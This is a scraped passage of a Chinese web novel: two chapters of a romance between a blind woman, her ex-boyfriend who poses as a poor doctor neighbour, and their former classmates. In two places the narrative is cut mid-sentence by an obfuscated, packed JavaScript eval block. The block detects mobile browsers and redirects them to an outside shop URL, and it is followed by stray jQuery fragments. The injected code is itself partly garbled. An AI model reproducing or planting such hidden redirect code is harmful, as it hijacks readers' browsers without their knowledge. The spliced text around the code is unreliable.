方舒好半提起的心踏实落下,不甘示弱:“其实我早就猜到了……”
“只不过。”她顿了顿,“我觉得你那么穷,应该买不起车才对。”
10. 恶作剧
男人一时语塞,尔后,嗤笑了声:“你说得对,我买不起,这儿哪来的车?”
方舒好用盲杖试探了下:“这个好像是车轮。”
“那是路墩。”
方舒好又伸出手,触到一物:“这个好像是车门。”
“那是墙壁。”
方舒好直接打开门,扶着车框爬进去:“那我穿墙了?”
扑哧。身后传来低低的失笑声。
恰巧有辆卡车驶过,轰隆隆的车轮声盖过那疏懒笑意,方舒好没有听清。
男人单手抄兜,绕回驾驶座,上车。
方舒好这时已系好安全带,乖巧坐稳。
她心里自有计较:网约车要排队,接单的司机素质不祥,梁医生的素质虽然也有待提高,但至少知根知底,可以利用他穷这一点,用金钱收买他送她去上班。
“你工作的医院在哪呢?”方舒好问。
男人不答反问:“你公司是G厂?”
方舒好点头。
男人发动车子,随口吐出两字:“顺路。”
太好了。这样就不用给他算绕路的油钱。
方舒好勾起唇角:“我不白坐你车,刚刚打车软件计价25,我按这个价钱付你。”
上班顺路载个邻居还能挣钱,天大的好事,赶紧谢恩吧。她心说。
“25?”男人重复这个数字,油门一踩,车子向前飞驰,他语调含混,似笑非笑,“不错,新的挣钱思路。”
方舒好点头:“现在很多打工人下了班就兼职网约车司机,你有空也可以接几单试试,挣点外快。”
一边说,她一边调整座椅到舒服角度,这车内饰质感一般,显然不是什么好车,她顺嘴问了下牌子。
“比亚迪,二手的。”男人心不在焉地问,“这种车能接到单?”
“当然可以,网约车主大部分都开便宜车。”方舒好有点奇怪,感觉这是常识,“你没打过车吗?”
男人默了默,扯唇:“太穷了,打不起。”
方舒好:“……”
她心里刚有点内疚,感觉问了一个冒犯的问题,就听身旁男人手指轻敲了敲方向盘,闲闲散散道:“既然是你提的建议,有没有兴趣照顾下我生意?”
方舒好感觉给自己挖了个坑。
转念,又觉得这其实是个互惠共利的方案,可以考虑。
“我很少出门,只有去公司需要打车,一般都在星期四,上午八、九点左右。”
“什么时候回?”
“回来的时间不固定,感觉不太容易和你碰上。”方舒好说,“一次就按25块算,你觉得怎么样?”
“行。”男人颔首,“一次次转钱太麻烦,要不你先充个十次八次的,慢慢扣。”
方舒好:?
这人真是医生吗?怎么张口就是无良资本家的嘴脸和套路?
方舒好憋着气,与他谈判:“充钱能打折吗?”
“想多了。”耳畔响起穷酸但嚣张的声音,“哪天我心情好,倒是可以多开几百米带你兜兜风,免费。”
方舒好:?
我让你带我兜风了?
几百米都不够从小区这头开到那头,她下楼扔个垃圾都比他这破车能跑。
谈判破裂,方舒好咬牙拿出手机,考虑到自己还在这没钱硬拽的穷鬼车上,退一步海阔天空和谐邻里,她手指在屏幕上跳跃,发出以德报怨慷慨大方的按键音。
“我先充十次。”方舒好说,“钱转你了。”
男人颔首,低眸扫了眼搁在手枕上的手机。
Fine:【向你转账250元】
很吉利一数字。
“你值得这笔钱。”金主方女士露出微笑,尔后,以甲方妈妈的身份,名正言顺地指指点点,“你似乎生怕别人不知道你是医生?连车里都是一股消毒水味,以后上线接单最好换个好点的车载香,到时候被差评,别怪我没提醒你。”
“被差评再说。”男人不以为意,“买香薰要钱,消毒水可以从单位随便领。”
方舒好:“……”
一不留神又被穷到。
真晦气,赶明儿得在家门口摆个火盆跨跨。
二十几分钟后,车子来到繁华的CBD,驶进一栋简约玻璃结构大楼的停车场入口。
“进停车场了。”男人终于有了几分服务意识,“停哪个区,要不要送你进电梯?”
“B区。”方舒好说,“有同事在那边等我,谢谢。”
轿车平稳行驶,转过两道弯,男人问:“到B区了,你同事在哪?”
“就在B区入口呀。”
“那儿只有个男的。”
“对,就是他。我们部门除了我都是男生。”
“行。”
感觉到车子停稳,方舒好礼貌地道了声谢,打开车门。
那个等待她的男同事立刻赶过来,搀扶了下她手臂,清爽愉悦的声音穿过敞开的车门传进来:“你今天自己打车来的?”
方舒好笑着答:“是啊,让你久等了。”
“没有没有,我也才刚到。”
一边说,他一边顺手关闭车门。
说笑声顿时隔绝在外。
两人走到车头前方,方舒好右手执盲杖,左手抬起,轻轻握住男生的右手上臂,以落后他半步的距离跟随他前进。
标准的明眼人引导盲人的姿势。
停车场洒下冷冽灯芒,流转在女人松松扎起的长发上,乌光水滑。她眼睛弯成两只月亮,笑容格外舒展,令那无神的瞳眸也迸发出微光。
牵引着她的年轻男人一身得体西装,作为只需埋头coding的码农而言,打扮是否过于精致了些,每走三步就要偸觑斜后方的女人一眼,唇角压不下来。啧,突染恶疾发高烧了吗?耳朵红得能当信号灯。
……
上午十点一刻,虹城市中心另一CBD,E厂旗下E游公司大楼,负一楼停车场。
肖泽开着他的保时捷,轻车熟路转进停车场A区,准备将车停在他好兄弟的VIP专属停车位上。
离目的地还有几十米,正要再转过一道弯,前方岔路口突然疾驰来一辆深灰色轿车,流星飞矢一般,转瞬消失不见,紧接着,VIP车位区传来刺耳的刹停声。
“我操。”肖泽心惊胆战地瞅了眼差点被撞到的车头,“哪来的狠人,停车场里飙车?”
几分钟后,他乘电梯到顶楼,和路上碰到的秘书办职员熟稔地打招呼,直至走进最南端一间办公室。
初秋的阳光撒进全景落地窗,窗外高楼鳞次栉比,棋盘一样在脚下舒展开,延伸至极远处。
肖泽不知第多少次感叹这地儿视野真爽,随后,他快步走至办公桌前,来不及拖张椅子坐下,手撑桌面前倾身体,对端坐在办公桌后的男人添油加醋说:
“我刚在停车场碰到一辆发疯的比亚迪,那成色,五万都卖不出去,就这破车,给他开成飞机了,嗖的一下从我跟前飞过去,然后滋啦一声轮胎刮地,漂移入库,你猜怎么着,停你停车位上了。是个狠人。”
江今彻在这座停车场有三个专属停车位,一个停着辆添越,是他的办公用车,另一个被那比亚迪占了,所幸还剩一个,等肖泽心有余悸慢吞吞开过去停稳下车,比亚迪司机早没影了,车尾气他都没吸到。
“有这种事。”江今彻眼皮都没抬,漫不经心岔开话题,“今天来挺早,什么事?”
肖泽本想打听一下开比亚迪的是他公司哪位神人,奈何天生注意力散,很容易就被带跑:“上回送过来那批硬件,我过来看看你们的使用情况。”
肖泽家公司是生产计算机硬件的,以存储设备为主,是E厂的上游供应商之一。
除了私人友情、工作合作关系之外,他和江今彻还带点远房亲戚关系——他的奶奶的堂姐是江今彻外婆的表妹。
他们俩第一次相识,不是在学校,而是在一场亲友云集的寿宴上,肖泽的奶奶扯着他到江今彻跟前,让他喊表哥。彼时他们才六七岁,肖泽又是个混世魔王,眼看江今彻长得白净精致像个小姑娘,还只比他大二十天,肖泽不肯喊哥,嘴贱
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793708|190594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
叫了声妹妹,江今彻没应声,抬头看了眼旁边的大人,淡定地问:“他是弱智吗?”
肖泽直接被气哭,两人就此杠上,但凡遇见,必然水火不容,直到高中,他们碰巧考进同一个学校,分在同一个班。
刚开始,肖泽依然不待见江今彻,只觉这人比小时候更拽更狂,不仅脸长开了,恃帅行凶,个头也窜得像火箭,实在招人嫉妒。
那时候,无论谁打篮球都想和江今彻一队,肖泽也喜欢打球,在江今彻对面被他干爆几次之后,他也悄摸声地成了他队友。
两人关系真正转折是高一期中考后,校外约的一场野球。
那天肖泽不在状态,开场不久犯了好几次规。他是无心的,但校外那帮/人报复心很强,连续几次故意将肖泽撞倒,肖泽膝盖见血,两边旋即触发骂战。实高的男孩子哪里嘴得过对面那群黄毛,又不愿意动手,渐渐落了下风,忍气吞声。
直到对面开始集中攻击他们家长,诸如“你妈*了”,“有爹生没妈养的东西”,肖泽终于绷不住,没想到他拳头挥出之前,身旁的有人动作比他更快,黑色书包流星一样抡过去——
“带家长就没劲了啊。”江今彻扯开唇角,眼眸漆黑,像看着一堆垃圾,“还是说你们,其实是从粪坑里爬出来的?”
肖泽没有妈妈。他妈在他很小的时候就和他爸分开,去国外生活,拥有了新的家庭,从此再也没有回来看他。
“有爹生没妈养”触及了肖泽的逆鳞,但他觉得江今彻那样生活顺遂、众星捧月的人,应该不会考虑到这茬,只是因为他自己脾气爆听不下去,才主动出手干架。
不管真相如何,这场混战之后,他们这对远房表兄弟的关系,终于正式拉近,渐渐成为了形影不离的好友。
……
肖泽拖了张椅子,坐到江今彻办公桌对面。对方随手转过来一个显示屏,上面展示着下属刚整理的、肖家那批存储设备的运行数据。
“看完了吧。”
“不是……”肖泽无语,“这才几秒?你就不能把原文件发我?”
“你当我公司是你家模拟器?”江今彻把显示屏转回去,身子仰靠,放肆嘲笑,“几个数字都记不住,以前数学怎么学的。”
肖泽尬笑:“我那会儿本来就打算混个省牌,混到手就是赚到。”
这话题又让他感怀当年,他们一起在数学竞赛班混日子的“快活”时光——江今彻自招在手,是真快活,而他次次垫底,抓耳挠腮强装不在意,是假快活。
自然而然又想起,那时他们并不是双人成行,而是三剑客。
他、江今彻,还有3班的周栩,高中三年一起打球,一起网游,一起搞竞赛,处得比亲戚还亲。后来他和江今彻留在虹城,周栩则去了云城读书,昔日的好兄弟,此后几乎不再联系,也不知道那家伙现在怎么样了。
如果没有高考之后那档子事……
嘶。
往事不堪,光想想肖泽都牙疼。
“你那批设备也没差到那份上。”江今彻拿起杯子喝了口,睨着对面的肖泽,语气难得的兄友弟恭,“没必要龇牙咧嘴的。”
肖泽:“我没在想设备的事。”
江今彻随口问:“那在想什么?”
肖泽:“方舒好。”
“……”
随着太阳攀升,洒入办公室的晨光渐渐退潮。
江今彻坐在阴影里,眉眼冷淡锋利,姿态懒散未变,仅是放下杯子,轻描淡写:“没事想她做什么?”
“她上个月回国了啊,眼睛还那样了……”肖泽被他看着,莫名有些心惊肉跳,尽管如此,他仍止不住好奇,迎着江今彻的目光打量回去,“说真的,上次同学聚会她突然出现,你不可能没有一点感觉吧?”
江今彻:“要什么感觉?”
“惊讶?生气?同情?幸灾乐祸?”肖泽琢磨着,语调放轻,“又或者,死去的感情忽然……”
江今彻兴味索然地提了下唇角,眸光冷淡,像在聊别人的事:
“我看起来,有那么贱?”
11. 恶作剧
“开个玩笑。”肖泽自觉说了不中听的话,半尴不尬地带过。
窗明几净的办公室,江今彻坐在桌后,已然收回目光,浏览起电脑,并没有把他说的话当回事。
他今天穿得随意,冷灰色衬衫,未系领带,领口敞着,袖口折到肘弯,左手腕空荡荡,没有戴表。
肖泽记得江今彻家有间专门的名表收藏室,从中学开始,他左手腕就没空过,但最近一段时间,他似乎厌倦了这件物品,连续几次见面都没戴手表。
不对,还有一次,是高考后的暑假,方舒好和他闹分手那段时间。
她把他送的情侣手表退还给他,说她不喜欢这种东西。
于是,江今彻那段时间就没戴表。等到他们彻底分开,方舒好远走高飞之后,他又像什么都没发生过,重新戴回手表,生活也和往常一样。
很多人都知道,江今彻为了挽回方舒好,几乎碾碎了一身傲骨,所以肖泽不确定他是否真放下了,那段时间一有空就会多叫几个朋友带他玩。
江今彻看起来很正常,除了情绪变淡,人更懒散了一点,没有其他让人在意的地方。
八月末,他们几个公子哥约去澳洲,上大学前最后一次度假。
各种极限运动玩了个遍,最后一天,他们登上直升机,来到万尺高空,准备跳伞。
他们中大部分人都有独立跳伞资格,不需要教练陪跳,其中江今彻是最熟练的,在好几个国家都拥有单飞执照。
隆隆的机翼旋转声音点燃肾上腺素,高空空气稀薄,所有人都流露出紧张神色,唯独江今彻,悠然自在地靠着机舱座位,代替教练为朋友们讲解各种操作和注意事项。
肖泽的跳伞经验刚够单飞,今天是第一次不带教练自己跳,因此听得格外认真。
不知听到什么,他脸色变得古怪:“彻,你没事教这个干什么?”
江今彻刚才说的是:在跳伞过程中解开保险的操作。
这时,舱门已经打开,高空汹涌的罡风闯进机舱,横冲直撞。
江今彻第一个走向舱门,冲肖泽不以为意地扯唇:“开个玩笑。”
“喂!”肖泽脸色泛白,下意识喊他,“这玩笑可不能乱开。”
江今彻:“别紧张,我还不想死。”
狂风吹乱他黑发,护目镜反射着耀眼日光,少年棱角锋利,一只手已经握住舱门上扶手。
狂乱的气流中,肖泽听到他低声说:“不觉得这个恶作剧,很像吗?”
语焉不详,肖泽一开始听不明白。
只从他一闪而过的表情里,察觉到颓废和荒唐。
下一瞬,江今彻从舱门一跃而出。
动作干脆又利落。
肖泽是第三个跳出去的。
他在高空舒展身体,极速坠落,降落伞蓬然打开,将他从地心引力的漩涡中勾住,整个人被稳稳托起,广袤的世界在身前铺展开,悠然而清晰。
好爽。
这一瞬间,他突然猜到了江今彻刚才那句话的意思。
他在说方舒好。
他们的感情就像一场双人跳伞,终于来到预定位置,伞面打开,磅礴美景尽收眼底,畅快淋漓。
这时候,毫无预兆地,方舒好解开了他身上的保险。
只是一个恶作剧。她的眼睛这么说。
然后。
面无表情地。
看着他坠落。
……
时间线拉长来看,江今彻身上的变化其实很明显。
从前烈火一样意气风发的少年,如今像是换了一个人,冷淡,敷衍,对一切都漠不关心。
很少再拓展交际圈,除了最熟的那几个朋友,不想和任何人扯上关系。
当然也没再谈恋爱,追他的女人前仆后继,美得各有千秋,但他连她们的名字都懒得去记。
这让肖泽偶尔怀疑,他是不是还对那个女人耿耿于怀,后来江今彻从T大毕业,赴美读研,肖泽以为他们会再度产生交集。
结果什么也没发生,江今彻两年研究生课程,硬生生挤在一年超高效完成,提前回国进入家族企业。
很显然,他眼里只有事业,并无女人。
……
见肖泽在办公室里无所事事,江今彻干脆给他派活:“去给我泡杯咖啡。”
“我又不是你秘书。”
“但你闲。”
肖泽被他三个字攻击破防:“谁闲了?我现在就去你们技术部做售后访问,他们肯定没见过像我这样亲力亲为的老板,高下立判。”
江今彻手支着额:“所以你是乙方。”
肖泽:“……”
人已经被气到门边,肖泽乱飞的注意力又捕捉到一个异常:“你最近说话有点怪。”
江今彻动作一顿:“是吗?”
“听起来都不像你了。”肖泽说,“在练习当声优么?”
“你以为谁都跟你一样闲?”
“我哪闲了,我还有女朋友要陪。”肖泽最近又谈上了,对象是比他大几岁的姐姐,姐姐恋爱经验丰富,他觉得自己有点玩不过她,“说真的,怎么发出不一样的声音?我也想学一下,给我女朋友上点情趣。”
江今彻无言,指了下门口。
意思是赶紧给老子出去。
肖泽从善如流地退下了。
来到电梯间,正准备下楼,旁边另一部电梯里忽然走出一位长卷发美女。
两人对视一瞬。
“听雪?”肖泽怔住,“好巧,你今天来这里做盘点吗?”
任听雪是E厂总部财务,游戏分公司的财务由她对接,所以隔三差五会来这里做些管理工作。
她生了张淡颜,不大的柳叶眼,瞳孔颜色浅,眼尾微勾,很有风情,又给人以距离感。
“没你来得勤。”任听雪打量他,“见到我有必要这么惊讶吗?”
肖泽又露出牙疼的表情:“哈哈。”
今天是什么好日子?刚和江今彻提到方舒好,转头又碰上这位姐。
任听雪是肖泽和江今彻的高中同学,方舒好转学之前,她是实高唯一的校花,后来变成了唯二。
想当年,江今彻、方舒好、周栩、任听雪,四个人,恐怖的四角恋,谁碰上不牙疼?
肖泽揉了揉脸,记起上次过来,听秘书办的人闲聊,说总部的任听雪可能会转岗来这里,做E游的财务主管。
不知道这是她个人意愿,还是上面要求。
肖泽觉得很可能是个人意愿。
讲实话,江今彻那家伙,无论过去还是现在,都一样招女孩子惦记,而且一旦惦记上了,真不容易放下。
他实在太耀眼,世无其二的耀眼。
也就方舒好那种冷心冷肺的女人不把他当回事。
两厢比较,肖泽觉得任听雪简直比方舒好强太多了。
都是高中同学,都是校花,任听雪当年是实打实喜欢他,而方舒好纯纯耍他。
“你今天事情忙不?”肖泽忽然问。
“还行。怎么了?”
“我还挺忙的,唉,本来想和你们江总约饭,现在估计没时间了。”肖泽睁着眼睛说瞎话,疯狂暗示,“他今天看起来没什么事,一个人在办公室里,闲得不行,等会儿估计也没人陪他吃饭……”
任听雪静静看了他一会儿,不等他说完就打断:“管好你自己。”
肖泽:“……”
这大小姐,脾气怎么还和从前一样直。
任听雪抱着文件与他擦肩,走出几步,不知想到什么,忽然又折回来。
“我听说。”她语气缓和了些,斟酌着问,“方舒好回国了?她的眼睛还看不见了?”
任听雪是文科生,理科尖子班的聚会自然不会邀请她,但她从相熟的朋友那里听到了一些消息。
“嗯,蛮惨的。”
肖泽脑子够用,知道任听雪这时候提起方舒好的事,并不是想和他一起同情老同学,而是在侧面探听另一个人对这件事的反应。
“聚会那天,方舒好不小心坐到江今彻旁边。老江都没和她说话,直接让人把她带走。”肖泽直白地说,“他们早完了。”
-
十月的虹城,夜里总算有了些凉意。
阴云笼盖天空,随着夜幕渐深,淅淅沥沥小雨逃离云层
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793709|190594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,纷扬落下。
方舒好在公司食堂和同事们一起吃晚餐,经常和她对接的产品部门的黄主管也在席上,用餐完毕,热心的黄主管开车送三位女同事回家。
这不是方舒好第一次坐黄主管的车,而且车上还有两位产品部门的女同事,因此她心情很放松,一路说说笑笑,直到轿车停在她小区门口。
方舒好最后一个被送到。
下了车,毛毛细雨随风而至,她站在雨中,娇美的面庞透出茫然,看起来柔弱可欺。
黄主管很快撑开一把伞,将她带到伞下:“小方,你家在几号?我送你进去。”
方舒好警惕地摇了摇头,语气温和:“不麻烦您了,我自己能行。”
“天还下着雨呢,你又看不见。”黄主管凑近,浓重的香水味钻进方舒好鼻腔,“万一你出了什么事,老许肯定会怪我没照顾好他部门的小朋友。”
油滑腔调,方舒好听得竖起鸡皮疙瘩。
黑暗会放大各种负面情绪,她肚子开始反胃,费力维持着体面:
“这点小雨不要紧的,这么晚了,您也赶紧回家,路上小心。”
“我不急。”黄主管笑了声,还以为她真体贴他,伸手揽住方舒好肩膀,往自己怀里按,“进去吧,告诉我往哪走。”
方舒好面色泛白,毫不犹豫往侧边闪,避开触碰。
尴尬,恶心,恐惧,她脑海中黄主管的模样,变成一只巨大的、黏腻肮脏的虫子,正挥舞着触手要抓住她。
“小方,别那么见外……”
“方舒好。”
另一道声音从斜后方横插进来,方舒好立刻转过身,落水挣扎一般,下意识朝声源方向伸了伸手。
下一秒,她精准地握住一条修长劲瘦的胳膊。
就像眼睛能看见一样。
鼻尖翕动,方舒好闻到一阵并不温柔芬芳,却格外令人安心的消毒水味。
黄主管:“这位是?”
方舒好的想象世界里,黏腻恶心的虫子缓缓后退了一步。
“我是她邻居。”男人应道,顿了顿,冷冰冰地问,“您也是这个小区的住户?”
“啊……我不是。”
“那您为什么,非要跟着她进去?”
黄主任声音变了调,全无方才的嚣张:“我、我只是想送她,我是好心。”
方舒好脑海中,代表黄主任的那条虫子飞快缩小,弱化、坍塌,变成一团在地上冒泡的烂泥。
烂泥旁边,有个高大、冷峻、欠揍、自恋……的身影,今晚他披上干净挺阔的白大褂,像个从天而降的天使。
未免日后职场上尴尬,方舒好拉了拉身旁男人的衣袖。
后者意会,不再多做纠缠,带着她进入小区。
身后,黄主任逃离的脚步飞快,车子绝尘而去,仿佛受到了天大的惊吓。
绵绵密密的小雨织成丝绢,抚过脸庞的触感温柔。
“刚才谢谢你。”方舒好由衷地说,“你也这么晚才下班?”
“嗯。”
方舒好仍抓着他手臂:“如果你再晚来十秒,我会抽出盲杖,狠狠戳烂他的脚。”
话落,耳畔冷不丁传来轻笑声。
低低的气音,像砂纸摩挲过耳朵,有点痒。
方舒好忽然愣住。
脚步都停顿,像撞上了一张无形的网。
“怎么了?”男人纳闷,嗓音一贯的低哑。
“没事。”方舒好摇了摇头,眼睛缓慢眨动,松开抓着他的手,改用盲杖探路。
哒哒哒的敲击声一路伴奏,两人走进单元门,乘电梯到9楼。
离家门只剩短短一段过道,方舒好走得很慢。
像在思索什么。
到半路,她忽然停下脚步,歪歪头说:“梁医生,认识这么久,我还不知道你叫什么。”
“梁陆。”男人不紧不慢道,“着陆的陆。”
方舒好复述一遍他的名字,尔后,仰起脸对着他所在的方向,桃花眼妩媚,瞳仁却空洞,幽静无光:
“我记得,我也没告诉你我叫什么。”
“为什么你会知道我的名字?”